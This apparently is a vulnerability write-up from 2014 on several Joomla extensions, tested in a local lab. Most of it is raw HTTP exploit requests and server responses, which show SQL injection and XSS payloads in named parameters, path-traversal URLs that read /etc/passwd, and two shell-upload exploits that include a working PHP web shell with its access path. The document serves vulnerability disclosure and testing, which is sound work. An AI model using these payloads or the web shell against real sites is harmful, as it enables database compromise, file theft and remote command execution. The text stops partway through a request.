/tests/joomla/administrator/index.php?option=com_solidres&view=reservationasset&layout=edit
HTTP/1.1
Host: 192.168.108.132
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:34.0) Gecko/20100101 Firefox/34.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer:
http://192.168.108.132/tests/joomla/administrator/index.php?option=com_solidres&view=reservati
onasset&layout=edit
Cookie: a75d756d58cab5d9e5091ce6a26a7f77=eu60a1smi1uo5hpj90v1u959k1;
4b2bd308908580106bec1f76d1018a83=5iaodce8qfpfnh4s6hlf5jaqn0;
jpanesliders_slider_group_id=0
Connection: close
Content-Type: multipart/form-data; boundary=---------------------------248133095299
Content-Length: 9969

-----------------------------248133095299
Content-Disposition: form-data; name="jform[name]"

asdasdasd
-----------------------------248133095299
Content-Disposition: form-data; name="jform[alias]"



-----------------------------248133095299
Content-Disposition: form-data; name="jform[category_id]"

11
```

```
-----------------------------248133095299
Content-Disposition: form-data; name="jform[partner_id]"
ï»¿-1000000000000000
-----------------------------248133095299
Content-Disposition: form-data; name="jform[address_1]"

-----------------------------248133095299
Content-Disposition: form-data; name="jform[address_2]"

-----------------------------248133095299
Content-Disposition: form-data; name="jform[city]"

-----------------------------248133095299
Content-Disposition: form-data; name="jform[postcode]"

-----------------------------248133095299
Content-Disposition: form-data; name="jform[email]"
a@a.com
-----------------------------248133095299
Content-Disposition: form-data; name="jform[website]"

-----------------------------248133095299
Content-Disposition: form-data; name="jform[phone]"

-----------------------------248133095299
Content-Disposition: form-data; name="jform[fax]"

-----------------------------248133095299
Content-Disposition: form-data; name="jform[country_id]"
19
-----------------------------248133095299
Content-Disposition: form-data; name="jform[currency_id]"
1
-----------------------------248133095299
Content-Disposition: form-data; name="jform[tax_id]"

-----------------------------248133095299
Content-Disposition: form-data; name="jform[description]"
<p>aaaaaaaaaaaaaaaaaa</p>
-----------------------------248133095299
Content-Disposition: form-data; name="jform[state]"
1
-----------------------------248133095299
Content-Disposition: form-data; name="jform[default]"

0
-----------------------------248133095299
Content-Disposition: form-data; name="jform[rating]"
1
-----------------------------248133095299
Content-Disposition: form-data; name="jform[deposit_required]"
0
```

```
-----------------------------248133095299
Content-Disposition: form-data; name="jform[deposit_is_percentage]"
1
-----------------------------248133095299
Content-Disposition: form-data; name="jform[deposit_amount]"

-----------------------------248133095299
Content-Disposition: form-data; name="jform[id]"
0
-----------------------------248133095299
Content-Disposition: form-data; name="jform[created_by]"

-----------------------------248133095299
Content-Disposition: form-data; name="jform[created_date]"

-----------------------------248133095299
Content-Disposition: form-data; name="jform[modified_date]"

-----------------------------248133095299
Content-Disposition: form-data; name="jform[params][termsofuse]"

-----------------------------248133095299
Content-Disposition: form-data; name="jform[params][privacypolicy]"

-----------------------------248133095299
Content-Disposition: form-data; name="jform[params][disclaimer]"

-----------------------------248133095299
Content-Disposition: form-data; name="jform[params][only_show_reservation_form]"
0
-----------------------------248133095299
Content-Disposition: form-data; name="jform[params][enable_coupon]"
1
-----------------------------248133095299
Content-Disposition: form-data; name="jform[params][logo]"

-----------------------------248133095299
Content-Disposition: form-data; name="jform[reservationasset_extra_fields][general]"

-----------------------------248133095299
Content-Disposition: form-data; name="jform[reservationasset_extra_fields][activities]"

-----------------------------248133095299
Content-Disposition: form-data; name="jform[reservationasset_extra_fields][services]"

-----------------------------248133095299
Content-Disposition: form-data; name="jform[reservationasset_extra_fields][internet]"

-----------------------------248133095299
Content-Disposition: form-data; name="jform[reservationasset_extra_fields][parking]"

-----------------------------248133095299
```

```
Content-Disposition: form-data; name="jform[reservationasset_extra_fields][checkin_time]"

----------------------------248133095299
Content-Disposition: form-data; nae="jform[reservationasset_extra_fields][checkout_time]"


----------------------------248133095299Content-Disposition: form-data;
name="jform[reservationasset_extra_fields][cancellation_prepayment]"

----------------------------248133095299
Content-Disposition: form-data;
name="jform[reservationasset_extra_fields][children_and_extra_beds]"

----------------------------248133095299
Content-Disposition: form-data; name="jform[reservationasset_extra_fields][pets]"

----------------------------248133095299
Content-Disposition: form-data;
name="jform[reservationasset_extra_fields][accepted_credit_cards]"

----------------------------248133095299
Content-Disposition: form-data; name="jform[reservationasset_extra_fields][facebook_link]"

----------------------------248133095299
Content-Disposition: form-data; name="jform[reservationasset_extra_fields][facebook_show]"
1
----------------------------248133095299
Content-Disposition: form-data; name="jform[reservationasset_extra_fields][twitter_link]"

----------------------------248133095299
Content-Disposition: form-data; name="jform[reservationasset_extra_fields][twitter_show]"
1
----------------------------248133095299
Content-Disposition: form-data; name="jform[reservationasset_extra_fields][linkedin_link]"

----------------------------248133095299
Content-Disposition: form-data; name="jform[reservationasset_extra_fields][linkedin_show]"
1
----------------------------248133095299
Content-Disposition: form-data; name="jform[reservationasset_extra_fields][gplus_link]"

----------------------------248133095299
Content-Disposition: form-data; name="jform[reservationasset_extra_fields][gplus_show]"
1
----------------------------248133095299
Content-Disposition: form-data; name="jform[reservationasset_extra_fields][tumblr_link]"

----------------------------248133095299
Content-Disposition: form-data; name="jform[reservationasset_extra_fields][tumblr_show]"
1
----------------------------248133095299
Content-Disposition: form-data; name="jform[reservationasset_extra_fields][foursquare_link]"
```

```
-----------------------------248133095299
Content-Disposition: form-data; name="jform[reservationasset_extra_fields][foursquare_show]"
1
-----------------------------248133095299
Content-Disposition: form-data; name="jform[reservationasset_extra_fields][myspace_link]"

-----------------------------248133095299
Content-Disposition: form-data; name="jform[reservationasset_extra_fields][myspace_show]"
1
-----------------------------248133095299
Content-Disposition: form-data; name="jform[reservationasset_extra_fields][pinterest_link]"

-----------------------------248133095299
Content-Disposition: form-data; name="jform[reservationasset_extra_fields][pinterest_show]"
1
-----------------------------248133095299
Content-Disposition: form-data; name="jform[reservationasset_extra_fields][slideshare_link]"

-----------------------------248133095299
Content-Disposition: form-data; name="jform[reservationasset_extra_fields][slideshare_show]"
1
-----------------------------248133095299
Content-Disposition: form-data; name="jform[reservationasset_extra_fields][vimeo_link]"

-----------------------------248133095299
Content-Disposition: form-data; name="jform[reservationasset_extra_fields][vimeo_show]"
1
-----------------------------248133095299
Content-Disposition: form-data; name="jform[reservationasset_extra_fields][youtube_link]"

-----------------------------248133095299
Content-Disposition: form-data; name="jform[reservationasset_extra_fields][youtube_show]"
1
-----------------------------248133095299
Content-Disposition: form-data; name="jform[metadesc]"

-----------------------------248133095299
Content-Disposition: form-data; name="jform[metakey]"

-----------------------------248133095299
Content-Disposition: form-data; name="jform[xreference]"

-----------------------------248133095299
Content-Disposition: form-data; name="jform[metadata][robots]"

-----------------------------248133095299
Content-Disposition: form-data; name="jform[metadata][author]"

-----------------------------248133095299
Content-Disposition: form-data; name="jform[metadata][rights]"
```

```
-----------------------------248133095299
Content-Disposition: form-data; name="jform[payments][paylater_enabled]"
1
-----------------------------248133095299
Content-Disposition: form-data; name="jform[payments][paylater_is_default]"
0
-----------------------------248133095299
Content-Disposition: form-data; name="jform[payments][paylater_frontend_message]"

-----------------------------248133095299
Content-Disposition: form-data; name="jform[payments][bankwire_enabled]"
0
-----------------------------248133095299
Content-Disposition: form-data; name="jform[payments][bankwire_is_default]"
0
-----------------------------248133095299
Content-Disposition: form-data; name="jform[payments][bankwire_accountname]"

-----------------------------248133095299
Content-Disposition: form-data; name="jform[payments][bankwire_accountdetails]"

-----------------------------248133095299
Content-Disposition: form-data; name="jform[payments][bankwire_frontend_message]"

-----------------------------248133095299
Content-Disposition: form-data; name="task"
reservationasset.save
-----------------------------248133095299
Content-Disposition: form-data; name="ab557793806eb5ffee1fae8ab87e0902"
1
-----------------------------248133095299--
```

Vulnerable parameter are *“jform[partner_id]”, "jform[currency_id]", "jform[tax_id]", "jform[metakey]".*

Same plugin, and another SQL Injection:

```
POST /tests/joomla/administrator/index.php?option=com_solidres&view=extra&layout=edit
HTTP/1.1
Host: 192.168.108.132
(…)
Content-Length: 1599

-----------------------------6282199151170
Content-Disposition: form-data; name="jform[name]"

`'_)(%2a%26^%$"}{%3f@!#%2f%2f--%3b%3a][%3d%3d
-----------------------------6282199151170
(…)
```

Vulnerable parameter is: “***jform[name]*”.**

Now we can get another popular plugin called **com_jdownloads.** For this one I found that again *“filter_search”* parameter is vulnerable for SQL Injection attack. Try this:

```
POST /tests/joomla/administrator/index.php?option=com_jdownloads&view=logs HTTP/1.1
Host: 192.168.108.132
(…)Content-Length: 184

filter_search=ï»¿-
1000000000000000&filter_type=0&list%5Blimit%5D=20&limitstart=0&task=&boxchecked=0&filter_
order=a.log_datetime&filter_order_Dir=desc&a487ad8e90bbfd9e1d5ac46dd49e9abc=1
```

For this request, both parameters (“*filter_search*” and “*limitstart*”) are vulnerable.

Next request – same plugin:

```
POST /tests/joomla/administrator/index.php?option=com_jdownloads&layout=edit&id=0 HTTP/1.1
Host: 192.168.108.132
(…)Content-Length: 9722

----------------------------197052771527649
Content-Disposition: form-data; name="jform[title]"
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
----------------------------197052771527649
Content-Disposition: form-data; name="jform[alias]"

----------------------------197052771527649
Content-Disposition: form-data; name="jform[cat_dir_parent]"

----------------------------197052771527649
Content-Disposition: form-data; name="jform[parent_id]"
'%3e"%3e%3cbody%2fonload%3dalert(9999)%3e
----------------------------197052771527649
Content-Disposition: form-data; name="jform[published]"
1
----------------------------197052771527649
```

In this request, vulnerable parameter is *“jform[parent_id]”*. Response should look like this:

```
HTTP/1.1 500 Internal Server Error
Date: Sat, 13 Dec 2014 02:59:57 GMT
Server: Apache/2.2.22 (Debian)
X-Powered-By: PHP/5.4.35-0+deb7u2
P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"
Status: 1064 You have an error in your SQL syntax; check the manual that corresponds to your
MySQL server version for the right syntax to use near
'"%3e%3cbody%2fonload%3dalert(9999)%3e'' at line 1 SQL=SELECT MAX(ordering) FROM
```

```
phqxt_jdownloads_categories WHERE parent_id =
''%3e"%3e%3cbody%2fonload%3dalert(9999)%3e'
Cache-Control: no-cache
Pragma: no-cache
(...)
<title>Error: 1064 You have an error in your SQL syntax; check the manual that corresponds to your
MySQL server version for the right syntax to use near
&#039;&quot;%3e%3cbody%2fonload%3dalert(9999)%3e&#039;&#039; at line 1 SQL=SELECT
MAX(ordering) FROM phqxt_jdownloads_categories WHERE parent_id =
&#039;&#039;%3e&quot;%3e%3cbody%2fonload%3dalert(9999)%3e&#039;</title>
```

Next case is related to **com_digistore** plugin. SQL Injection vulnerability is located because of the wrong filtering *"keyword"* parameter:

```
POST /tests/joomla/administrator/index.php HTTP/1.1
Host: 192.168.108.132
(…)Content-Length: 144

keyword=$("%3cimg%2fsrc%3d'x'%2fonerror%3dalert(9999)%3e")&go=Search&option=com_digist
ore&task=&boxchecked=0&controller=digistoreCustomers&prd=0
```

Response for this request:

```
HTTP/1.1 500 Internal Server Error
Date: Tue, 16 Dec 2014 19:34:22 GMT
Server: Apache/2.2.22 (Debian)
X-Powered-By: PHP/5.4.35-0+deb7u2
P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"
Status: 1064 You have an error in your SQL syntax; check the manual that corresponds to your
MySQL server version for the right syntax to use near 'x'/onerror=alert(9999)&gt;&quot;)'%' or
c.firstname like '%$("/src='x'/onerror=a' at line 1 SQL=select c.*, u.username, u.email from
izsh_digistore_customers c left join izsh_users u on( u.id=c.id) where  1=1  and (u.username like
'%$("/src='x'/onerror=alert(9999)&gt;&quot;)'%' or c.firstname like
'%$("/src='x'/onerror=alert(9999)&gt;&quot;)'%' or c.lastname like
'%$("/src='x'/onerror=alert(9999)&gt;&quot;)'%' )  order by c.id desc
Cache-Control: no-cache
```

Second request for this plugin (again SQL Injection):

```
POST /tests/joomla/administrator/index.php HTTP/1.1
Host: 192.168.108.132
(…)
Content-Length: 492

username=$("%3cimg%2fsrc%3d'x'%2fonerror%3dalert(9999)%3e")&password=zzzzzzzz&password
_confirm=zzzzzzzz&firstname=zzzzzzzz&lastname=zzzzzzzzzzzzzzzz&company=&email=zzzzzzzz%40zzz
zzzzz.com&person=0&taxnum=zzzzzzzz&address=zzzzzzzz&country=Algeria&state=Algeria&city=zzzzz
zzz&zipcode=00-
222&same_as_bil=on&shipcountry=Algeria&shipstate=Algeria&shipcity=zzzzzzzz&shipaddress=zzzzzz
```

```
zz&shipzipcode=00-
222&taxclass=1&images=&option=com_digistore&id=&task=save&controller=digistoreCustomers&k
eyword=
```

Same story again:

```
HTTP/1.1 500 Internal Server Error
Date: Tue, 16 Dec 2014 19:33:10 GMT
Server: Apache/2.2.22 (Debian)
X-Powered-By: PHP/5.4.35-0+deb7u2
P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"
Status: 1064 You have an error in your SQL syntax; check the manual that corresponds to your
MySQL server version for the right syntax to use near 'x'/onerror=alert(9999)&gt;&quot;)''' at line 1
SQL=select count(*) as total from izsh_users where
username='$("/src='x'/onerror=alert(9999)&gt;&quot;)''
Cache-Control: no-cache
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 23710
```

During testing **com_digistore** I found another one vulnerability, also SQL Injection:

```
POST /tests/joomla/administrator/index.php HTTP/1.1
Host: 192.168.108.132
(…)Content-Length: 348

title=ï»¿-
1000000000000000&code=zzzzzzzzzzzzzz&codelimit=zzzzzzzzzzzzzz&amount=321&promotype=1&co
destart=2014-12-16&codeend=2014-12-
31&aftertax=1&published=1&validfornew=1&images=&option=com_digistore&id=&task=save&contr
oller=digistorePromos&items_product_id%5B96684652854908cec94c8d%5D=&forexisting=0&orders
_product_id%5B89488193954908ced07b09%5D=
```

Response for this one will look like this:

```
HTTP/1.1 500 Internal Server Error
Date: Tue, 16 Dec 2014 19:52:14 GMT
Server: Apache/2.2.22 (Debian)
X-Powered-By: PHP/5.4.35-0+deb7u2
P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"
Status: 1062 Duplicate entry 'zzzzzzzzzzzzzz' for key 'code' SQL=INSERT INTO
`izsh_digistore_promocodes`
(`id`,`title`,`code`,`codelimit`,`amount`,`codestart`,`codeend`,`forexisting`,`published`,`aftertax`,`pro
motype`,`validfornew`,`validforrenewal`) VALUES  ('','ï»¿-
1000000000000000','zzzzzzzzzzzzzz','zzzzzzzzzzzzzz','321','1418688000','1419984000','0','1','1','1','1','
0')
Cache-Control: no-cache
Pragma: no-cache
Vary: Accept-Encoding
```

```
Content-Length: 24020
```

This time vulnerable parameter is “***title***” but during other tests I found that also other parameers are vulnerable: "*code*", "*codelimit*", "*amount*", "*promotype*", "*codestart*", "*codeend*", "*aftertax*", "*published*", "*validfornew*", "*images*", "*id*".

Another request for **com_digistore**, below:

```
POST /tests/joomla/administrator/index.php HTTP/1.1
Host: 192.168.108.132
(…)
Content-Length: 201

search=$("%3cimg%2fsrc%3d'x'%2fonerror%3dalert(9999)%3e")&catid%5B%5D=1&limitstart=0&pr
c=1&option=com_digistore&task=selectProducts&controller=digistoreProducts&id=96684652854908
cec94c8d&tmpl=component
```

Vulnerable parameter: *“**search**”*.

Response for this one looks like this:

```
HTTP/1.1 500 Internal Server Error
Date: Tue, 16 Dec 2014 19:51:35 GMT
Server: Apache/2.2.22 (Debian)
X-Powered-By: PHP/5.4.35-0+deb7u2
P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"
Status: 1064 You have an error in your SQL syntax; check the manual that corresponds to your
MySQL server version for the right syntax to use near 'x'/onerror=alert(9999)&gt;&quot;)'%')
ORDER BY ordering asc' at line 3 SQL=SELECT * FROM izsh_digistore_products WHERE  1=1  and id IN
(SELECT productid FROM izsh_digistore_product_categories WHERE catid='1' )  AND (name LIKE
'%$("/src='x'/onerror=alert(9999)&gt;&quot;)'%')  ORDER BY ordering asc
Cache-Control: no-cache
Pragma: no-cache
```

To relax you even more, example below is “only” XSS ;)

```
POST
/tests/joomla/administrator/index.php?option=com_digistore&no_html=1&controller=digistoreSaja
x HTTP/1.1
Host: 192.168.108.132(…)
Cache-Control: no-cache

rs=$("%3cimg%2fsrc%3d'x'%2fonerror%3dalert(9999)%3e")&rst=&rsrnd=1418859126650&rsargs[]=
Algeria&rsargs[]=main
```

Vulnerable parameter – “***rs***”.

```
HTTP/1.1 200 OK
```

```
Date: Tue, 16 Dec 2014 19:32:16 GMT
Server: Apache/2.2.22 (Debian)
X-Powered-By: PHP/5.4.35-0+deb7u2
Vary: Accept-Encoding
Content-Length: 53
Connection: close
Content-Type: text/html

-:$("<img/src='x'/onerror=alert(9999)>") not callable
```

SQL Injection again in **com_digistore:**

```
POST
/tests/joomla/administrator/index.php?option=com_digistore&no_html=1&controller=digistoreSaja
x HTTP/1.1
Host: 192.168.108.132
(…)
Cache-Control: no-cache

rs=phpchangeProvince&rst=&rsrnd=1418859126650&rsargs[]=$("%3cimg%2fsrc%3d'x'%2fonerror%
3dalert(9999)%3e")&rsargs[]=main
```

And response:

```
HTTP/1.1 500 Internal Server Error
Date: Tue, 16 Dec 2014 19:32:26 GMT
Server: Apache/2.2.22 (Debian)
X-Powered-By: PHP/5.4.35-0+deb7u2
P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"
Status: 1064 You have an error in your SQL syntax; check the manual that corresponds to your
MySQL server version for the right syntax to use near 'x'/onerror=alert(9999)>")'  GROUP BY state
ORDER BY state ASC' at line 3 SQL=SELECT state  FROM izsh_digistore_states  WHERE
country='$("<img/src='x'/onerror=alert(9999)>")'  GROUP BY state  ORDER BY state ASC
Cache-Control: no-cache
```

…and another one, here:

```
POST /tests/joomla/administrator/index.php HTTP/1.1
Host: 192.168.108.132
(…)Content-Length: 341

title=ï»¿-
1000000000000000&code=zzzzzzzzzz&codelimit=zzzzzzzzzz&amount=123&promotype=0&codestart
=2014-12-16&codeend=2014-12-
31&aftertax=1&published=1&validfornew=1&images=&option=com_digistore&id=&task=save&contr
oller=digistorePromos&items_product_id%5B195466795554908862afdf9%5D=&forexisting=0&order
s_product_id%5B430685351549O8862bb884%5D=
```

Also vulnerable here: “codelimit", "amount", "promotype", "codestart", "codeend", "aftertax", "published", "validfornew", "images", "id". For other request in this plugin, also “***catid***” seems to be vulnerable for SQL Injection.

```
HTTP/1.1 500 Internal Server Error
Date: Tue, 16 Dec 2014 20:24:41 GMT
Server: Apache/2.2.22 (Debian)
X-Powered-By: PHP/5.4.35-0+deb7u2
P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"
Status: 1064 You have an error in your SQL syntax; check the manual that corresponds to your
MySQL server version for the right syntax to use near 'x'%2fonerror%3dalert(9999)%3e")' )' at line 1
SQL=insert into izsh_digistore_product_categories(productid, catid) values  ('53',
'$("%3cimg%2fsrc%3d'x'%2fonerror%3dalert(9999)%3e")' ) ;
Cache-Control: no-cache
```

Also, when you will read the code, search for parameters like: “ptype[]” ,” filename”,” ftpfile”, “featuredproducts”, “id".

Next plugin - **com_allvideoshare –** is also vulnerable for SQL Injection:

```
POST /tests/joomla/administrator/index.php HTTP/1.1
Host: 192.168.108.132
(…)
Content-Length: 279268

-----------------------------44382786420597
Content-Disposition: form-data; name="name"
asdasdasd
-----------------------------44382786420597
Content-Disposition: form-data; name="slug"
asdasdasd
-----------------------------44382786420597
Content-Disposition: form-data; name="parent"
'%3e"%3e%3cbody%2fonload%3dalert(9999)%3e
-----------------------------44382786420597
Content-Disposition: form-data; name="type"
upload
-----------------------------44382786420597
Content-Disposition: form-data; name="upload_thumb"; filename="682f39b4a4.jpeg"
Content-Type: image/jpeg

ÿØÿà (...

-----------------------------44382786420597
Content-Disposition: form-data; name="thumb"

-----------------------------44382786420597
Content-Disposition: form-data; name="access"
public
```

```
-----------------------------44382786420597
Content-Disposition: form-data; name="published"
1
-----------------------------44382786420597
Content-Disposition: form-data; name="metakeywords"

-----------------------------44382786420597
Content-Disposition: form-data; name="metadescription"

-----------------------------44382786420597
Content-Disposition: form-data; name="boxchecked"
1
-----------------------------44382786420597
Content-Disposition: form-data; name="option"
com_allvideoshare
-----------------------------44382786420597
Content-Disposition: form-data; name="view"
categories
-----------------------------44382786420597
Content-Disposition: form-data; name="task"
apply
-----------------------------44382786420597
Content-Disposition: form-data; name="1b44cc685e6d914efb0c672c67dff7bf"
1
-----------------------------44382786420597--
```

Response:

```
HTTP/1.1 500 Internal Server Error
Date: Wed, 17 Dec 2014 00:22:45 GMT
Server: Apache/2.2.22 (Debian)
X-Powered-By: PHP/5.4.35-0+deb7u2
P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"
Status: 1064 You have an error in your SQL syntax; check the manual that corresponds to your
MySQL server version for the right syntax to use near
''%3e"%3e%3cbody%2fonload%3dalert(9999)%3e ORDER BY ordering' at line 3 SQL=SELECT id,
ordering FROM izsh_allvideoshare_categories WHERE ordering >= 0 AND
parent='%3e"%3e%3cbody%2fonload%3dalert(9999)%3e ORDER BY ordering
Cache-Control: no-cache
```

Another plugin - **com_hikashop.** Below request with vulnerable parameter “filter_order” (SQL Injection):

```
POST /tests/joomla/administrator/index.php?option=com_hikashop&ctrl=category HTTP/1.1
Host: 192.168.108.132
(…)
Content-Length: 289

search=&filter_type=0&limit=20&limitstart=0&order%5B%5D=1&order%5B%5D=2&order%5B%5D=3
&order%5B%5D=5&option=com_hikashop&task=&ctrl=category&boxchecked=0&filter_id=0&filter_
```

```
order='%3e"%3e%3cscript%3e_%3dalert%3b_(9999)%3c%2fscript%3e&filter_order_Dir=desc&87f0
96ea0a7339dad49ed74dd99f89d1=1
```

Response for this request:

```
HTTP/1.1 500 Internal Server Error
Date: Wed, 17 Dec 2014 02:14:13 GMT
Server: Apache/2.2.22 (Debian)
X-Powered-By: PHP/5.4.35-0+deb7u2
P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"
Status: 1054 Unknown column 'script_alert_9999script' in 'order clause' SQL=SELECT a.* FROM
izsh_hikashop_category AS a WHERE a.category_parent_id = 1 ORDER BY script_alert_9999script
desc LIMIT 0, 20
```

Both parameters are vulnerable here: *"filter_order", and "filter_order_Dir".*

During tests of com_hikashop, I found that this plugin is also vulnerable to local file include attack.

```
http://192.168.108.132/tests/joomla/administrator/index.php?option=com_hikashop&ctrl=view&ta
sk=edit&id=0|beez3|component|com_hikashop|checkout|../../../../../../../../../../../../../../../../../.
./../../../../etc/passwd
```

Next nice vulnerability is possibility of shell upload. Vulnerability is located in **com_jce** plugin.

To exploit this vulnerability, we need to prepare a ZIP file contains our shell.php and manifest.xml (content here is your choice). Your shell will wait for you in "install_" folder (but after "install_" you need to add generated code to view folder and shell-file). Let's try to locate shell file now:

```
root@tadam:/var/www/tests/joomla/tmp/install_5490f32d81331# cat mishell.php
<?php $c=$_GET['x']; echo '<pre>'; system($c);?>
root@tadam:/var/www/tests/joomla/tmp/install_5490f32d81331#
```

So it seems that we can access shell via:
http://192.168.108.132/tests/joomla/tmp/install_5490f32d81331/mishell.php?x=id

Next one, is cross site scripting in **com_hikashop:**

```
POST
/tests/joomla/administrator/index.php?option=com_hikashop&ctrl=order&task=save&subtask=gene
ral&cid=1&tmpl=component HTTP/1.1
Host: 192.168.108.132
(…)
Pragma: no-cache
```

```
Cache-Control: no-cache

87f096ea0a7339dad49ed74dd99f89d1=1&data%5Bgeneral%5D=1&data%5Border%5D%5Border_st
atus%5D='%3e"%3e%3cbody%2fonload%3dalert(9999)%3e&data%5Bhistory%5D%5Bmsg%5D=
```

Response for this one will looks like this:

```
<tr class="hikashop_order_status">
<td class="key"><label for="data[order][order_status]">Order status</label></td>
<td class="hikashop_order_status"><span>'>"><body/onload=alert(9999)></span></td></tr>
```

Next plugin: **com_j2store.** SQL Injection was found on parameter: "***jform%5Bcountry_id%5D***"**:**

```
POST
/tests/joomla/administrator/index.php?option=com_j2store&view=geozone&task=geozone.getZone
HTTP/1.1
Host: 192.168.108.132(…)
Cache-Control: no-cache

jform%5Bcountry_id%5D='%3e"%3e%3cbody%2fonload%3dalert(9999)%3e&jform%5Bzone_id%5D
=0&jform%5Bfield_name%5D=zone_id&jform%5Bfield_id%5D=zone_id
```

Response for this one looks like this:

```
HTTP/1.1 500 Internal Server Error
Date: Wed, 17 Dec 2014 03:45:37 GMT
Server: Apache/2.2.22 (Debian)
X-Powered-By: PHP/5.4.35-0+deb7u2
P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"
Status: 1064 You have an error in your SQL syntax; check the manual that corresponds to your
MySQL server version for the right syntax to use near ''>"><body/onload=alert(9999)>' at line 3
SQL=SELECT zone_id,zone_name FROM izsh_j2store_zones WHERE
country_id='>"><body/onload=alert(9999)>
Cache-Control: no-cache
```

This request contains also 2 XSS vulnerabilities. Try parameters: *" jform%5Bfield_name%5D" and "jform%5Bfield_id%5D".*

Shell upload vulnerability in another plugin, this time called **com_phocagallery:**

```
POST /tests/joomla/administrator/index.php HTTP/1.1
Host: 192.168.108.132
(…)
Content-Length: 706

-----------------------------41852957024424
```

```
Content-Disposition: form-data; name="Filedata"; filename="mishell.php"
Content-Type: application/octet-stream
<?php $c=$_GET['x']; echo '<pre>'; system($c);?>
-----------------------------41852957024424
Content-Disposition: form-data; name="type"

-----------------------------41852957024424
Content-Disposition: form-data; name="option"
com_phocagallery
-----------------------------41852957024424
Content-Disposition: form-data; name="task"
phocagalleryt.themeinstall
-----------------------------41852957024424
Content-Disposition: form-data; name="87f096ea0a7339dad49ed74dd99f89d1"
1
-----------------------------41852957024424--
```

Our new shell will be located in “/tmp/mishell.php”.

com_virtuemart plugin suffers for SQL Injection vulnerability:

```
POST /tests/joomla/administrator/index.php HTTP/1.1
Host: 192.168.108.132(…)
Content-Length: 440

field_type=S&custom_title=asdasdasd&show_title=1&published=1&custom_parent_id=0&is_cart_attribute=0&is_input=0&custom_desc=asdasdasd&custom_value=asdasdasd&custom_tip=asdasdasd&layout_pos=asdasdasd&admin_only=0&is_list=0&is_hidden=0&view=custom&task=save&87f096ea0a7339dad49ed74dd99f89d1=1&custom_jplugin_id=0&custom_element=0&virtuemart_custom_id=$("%3cimg%2fsrc%3d'x'%2fonerror%3dalert(9999)%3e")&option=com_virtuemart&custom_jplugin_id=0
```

Vulnerabile is “*virtuemart_custom_id”* parameter.

In the same plugin we can find LFI vulnerability:

```
http://192.168.108.132/tests/joomla/administrator/index.php?option=com_virtuemart&view=log&task=edit&logfile=../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../etc/passwd
```

Few lines from source code:

```
root@tadam:/var/www/tests/joomla/administrator/components/com_virtuemart# vim helpers/vrequest.php
(...)
        /**
         * - Encodes all characters that has a numerical value <32.
         * - strips html
         */
        public static function getString($name, $default = ''){
                return self::get($name, $default,
FILTER_SANITIZE_STRING,FILTER_FLAG_ENCODE_LOW);
        }

```

This time SQL Injection in **com_virtuemart:**

```
POST /tests/joomla/administrator/index.php HTTP/1.1
Host: 192.168.108.132
(…)
Content-Type: application/x-www-form-urlencoded
Content-Length: 319

shipment_name=zzzzzzzzz&slug=zzzzzzzzz&published=1&shipment_desc=zzzzzzzzz&ordering=0&task
=save&option=com_virtuemart&boxchecked=0&controller=shipmentmethod&view=shipmentmetho
d&87f096ea0a7339dad49ed74dd99f89d1=1&virtuemart_shipmentmethod_id=$("%3cimg%2fsrc%3
d'x'%2fonerror%3dalert(9999)%3e")&xxcontroller=shipmentmethod
```

Vulnerable is "***virtuemart_shipmentmethod_id***". Another one SQL Injection - below:

```
POST /tests/joomla/administrator/index.php HTTP/1.1
Host: 192.168.108.132
(…)Content-Length: 316

calc_name='%3e"%3e%3cbody%2fonload%3dalert(9999)%3e&published=0&ordering=0&calc_descr
=asdasdasd&calc_kind=Marge&calc_value_mathop=%2B&calc_value=&calc_currency=191&publish_
up=&publish_down=&virtuemart_calc_id=0&task=save&option=com_virtuemart&boxchecked=0&co
ntroller=calc&view=calc&87f096ea0a7339dad49ed74dd99f89d1=1
```

This time, vulnerable parameter is "*calc_name*".

Response:

```
HTTP/1.1 500 Internal Server Error
Date: Wed, 17 Dec 2014 21:22:23 GMT
Server: Apache/2.2.22 (Debian)
X-Powered-By: PHP/5.4.35-0+deb7u2
P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"
Status: 1064 You have an error in your SQL syntax; check the manual that corresponds to your
MySQL server version for the right syntax to use near '><body/onload=alert(9999)>"' at line 1
SQL=SELECT `calc_name` FROM `izsh_virtuemart_calcs` WHERE `calc_name` =
"'>"><body/onload=alert(9999)>"
Cache-Control: no-cache
```

In this request, also vulnerable parameter is "*virtuemart_calc_id*" (you should also know that there is another vulnerability – XSS – for parameter "*calc_descr*").

Another SQL Injection in com_virtuemart is here:

```
POST /tests/joomla/administrator/index.php HTTP/1.1
Host: 192.168.108.132
(…)
Content-Length: 3056

-----------------------------60502004919502
Content-Disposition: form-data; name="mf_name"
asdasdasdas
-----------------------------60502004919502
Content-Disposition: form-data; name="published"
1
-----------------------------60502004919502
Content-Disposition: form-data; name="slug"
dasdasdsdsd
-----------------------------60502004919502
Content-Disposition: form-data; name="mf_url"
asdasdasd
-----------------------------60502004919502
Content-Disposition: form-data; name="mf_email"

-----------------------------60502004919502
Content-Disposition: form-data; name="mf_desc"
<p>asdasdasdasdasd</p>
-----------------------------60502004919502
Content-Disposition: form-data; name="searchMedia"

-----------------------------60502004919502
Content-Disposition: form-data; name="media_published"
0
-----------------------------60502004919502
Content-Disposition: form-data; name="media_published"
1
-----------------------------60502004919502
Content-Disposition: form-data; name="file_title"

-----------------------------60502004919502
Content-Disposition: form-data; name="file_description"

-----------------------------60502004919502
Content-Disposition: form-data; name="file_meta"

-----------------------------60502004919502
Content-Disposition: form-data; name="file_url"
